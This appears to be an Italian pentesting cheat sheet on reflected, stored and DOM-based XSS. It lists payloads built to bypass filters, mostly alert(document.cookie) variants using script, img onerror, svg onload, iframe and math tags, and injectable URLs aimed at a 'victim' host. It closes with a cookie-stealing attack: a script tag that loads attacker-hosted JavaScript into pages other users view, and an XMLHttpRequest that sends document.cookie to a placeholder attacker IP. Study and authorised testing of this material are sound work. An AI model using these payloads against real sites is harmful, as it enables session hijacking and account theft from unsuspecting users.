tags: XSS


Reflected & Stored XSS

I comandi che si possono usare per verificare che ci sia una XSS sono uguali per la reflected e per la stored, una semplice operazione che indica quale delle due sia è aggiornare la pagina, se la nostra iniezione continua a presentarsi significa che è stored perchè è stata caricata nel server, mentre se non viene ricaricata e ci costringe a reimmettere il codice significa che è reflected e che quindi è solo nel browser, i comandi di base che si possono provare ad inserire sono:

Quello base:

<script>alert(document.cookie)</script>  

Quello in caso la sezione script sia un po’ sanitizzata:

<script type="text/javascript">alert(document.cookie)</script>

Oppure:

<img src=x onerror="alert(document.cookie)">
 

In caso fossere filtrate le "":

<svg><script>alert(1)</script></svg>

Quello in caso tutte le varianti di script siano sanitizzati:

<svg onload="alert(document.cookie)">

DOM Based XSS

Questa vulnerabilità si presenta quando per esempio nella barra URL è presente una sezione tipo il cambio di una lingua o roba simile, un esempio potrebbe essere una cosa tipo http://victim/vuln/xss_d/?default=English, se noi dopo il default proviamo ad immettere codice javascript possiamo vedere se è presente o meno una XSS, i payload più semplici da utilizzare sono:

http://victim/vuln/xss_d/?default=<script>alert(document.cookie)</script>

In caso venga sanitizzata l’immisione di codice javascript tramite ad esempio la forzatura ad encodeare qualsiasi input immesso da noi possiamo utilizzare il # che praticamente ci permette di eseguire qualsiasi comando javascript:

http://victim/vuln/xss_d/?default=English#<script>alert(document.cookie)</script>

Un’altra possibilità potrebbe essere il seguente payload:

http://victim/vuln/xss_d/?default=</option></select><svg onload="alert(document.cookie)">

In caso Javascript fosse pesantemente filtrato possiamo usare uno dei seguenti payload:

http://victim/vuln/xss_d/?default=<iframe src="javascript:alert(document.cookie)">
 
 
http://victim/vuln/xss_d/?default=<math><mtext></mtext><a href="javascript:alert(document.cookie)">click</a></math>

Questo è lo script da iniettare nella sezione vulnerabile in modo tale che gli utenti legittimi in ascolto inconsapevolmente eseguano questo script che li rimanda al nostro file .js che ci permette di catturare i cookie.

<script src="http://Indirizzo IP/file_da_creare.js"></script

Un esempio di script javascript che può fare questa operazione è:

var request = new XMLHttpRequest();
request.open('GET', 'http://INDIRIZZO_IP_Attaccante/?cookie=' + document.cookie);
 
request.send();